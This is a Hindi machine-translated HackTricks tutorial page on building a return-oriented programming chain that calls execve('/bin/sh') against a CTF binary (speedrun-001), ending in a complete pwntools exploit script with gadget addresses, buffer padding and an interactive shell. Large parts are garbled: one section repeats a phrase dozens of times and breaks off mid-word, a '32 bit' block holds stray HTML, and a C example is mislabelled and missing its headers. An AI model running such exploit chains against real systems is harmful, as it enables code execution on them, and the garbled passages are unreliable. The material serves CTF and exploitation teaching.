# ROP - sys\_execve कोल करें
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) * [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें * [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।** * **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को** **हैकिंग ट्रिक्स साझा करें।**
**syscall** को कॉल करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता होती है: * `rax: 59 sys_execve को निर्दिष्ट करें` * `rdi: "/bin/sh" के लिए प्ट्र निर्दिष्ट करें` * `rsi: 0 कोई तर्क नहीं पास किया गया है` * `rdx: 0 कोई पर्यावरण चर पास नहीं किया गया है` इसलिए, मूल रूप से कहा जाता है कि कहीं भी स्ट्रिंग `/bin/sh` लिखने की आवश्यकता होती है और फिर `syscall` को करना होता है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहें।) ## रजिस्टर्स को नियंत्रित करें चलो शुरू करते हैं **कि वे रजिस्टर्स को कैसे नियंत्रित करें**: ```c ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret 0x0000000000400686 : pop rdi ; ret 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` इन पतों के साथ, स्टैक में सामग्री लिखना और रजिस्टर में लोड करना संभव है। ## स्ट्रिंग लिखें ### लिखने योग्य मेमोरी सबसे पहले, आपको मेमोरी में लिखने योग्य स्थान ढूंढना होगा। ```bash gef> vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` ### तार लिखें फिर आपको इस पते पर विचित्र सामग्री लिखने का एक तरीका ढूंढ़ना होगा। ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` #### 32 बिट ```html

इस अध्याय में, हम एक 32 बिट लिनक्स सिस्टम पर ROP (Return Oriented Programming) और Syscall का उपयोग करके execve ("/bin/sh", 0, 0) को कैसे एक्सीक्यूट कर सकते हैं, इसका विवरण देंगे।

``` #### 64 bits ```python ''' Lets write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop += popRdx # place value into EAX rop += "/bin" # 4 bytes at a time rop += popRax # place value into edx rop += p32(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += popRdx rop += "//sh" rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` #### 64 बिट ##### ROP (Return Oriented Programming) ROP (Return Oriented Programming) एक तकनीक है जिसका उपयोग किया जाता है ताकि हम एक विशिष्ट प्रोग्राम के भीतर से विभिन्न सिस्टम कॉल को बुलाने के लिए उपयोग किए जा सकें। इसका उपयोग करके हम एक विशिष्ट सिस्टम कॉल को बुलाने के लिए उपयोग किए जाने वाले विभिन्न फंक्शन के ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने वाले ठीक पहले वापस जाने के लिए उपयोग किए जाने व ```python ''' Lets write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` ## उदाहरण ```c #include #include int main() { char *args[] = {"/bin/sh", NULL}; execv(args[0], args); return 0; } ``` इस उदाहरण में, हम `execv` सिस्टम कॉल का उपयोग करके `/bin/sh` शेल को चला रहे हैं। यह उदाहरण एक नया प्रोसेस शुरू करता है और `/bin/sh` शेल को चलाने के लिए `execv` का उपयोग करता है। इस तरीके से, हम एक नया प्रोसेस शुरू करते हैं और उसे `/bin/sh` शेल में ले जाते हैं। ```python from pwn import * target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad') # Establish our ROP Gadgets popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5) # 0x000000000048d251 : mov qword ptr [rax], rdx ; ret writeGadget = p64(0x48d251) # Our syscall gadget syscall = p64(0x40129c) ''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget ''' Prep the four registers with their arguments, and make the syscall pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0 syscall ''' rop += popRax rop += p64(0x3b) rop += popRdi rop += p64(0x6b6000) rop += popRsi rop += p64(0) rop += popRdx rop += p64(0) rop += syscall # Add the padding to the saved return address payload = "0"*0x408 + rop # Send the payload, drop to an interactive shell to use our new shell target.sendline(payload) target.interactive() ``` ## संदर्भ * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! * खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह! * प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) * **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**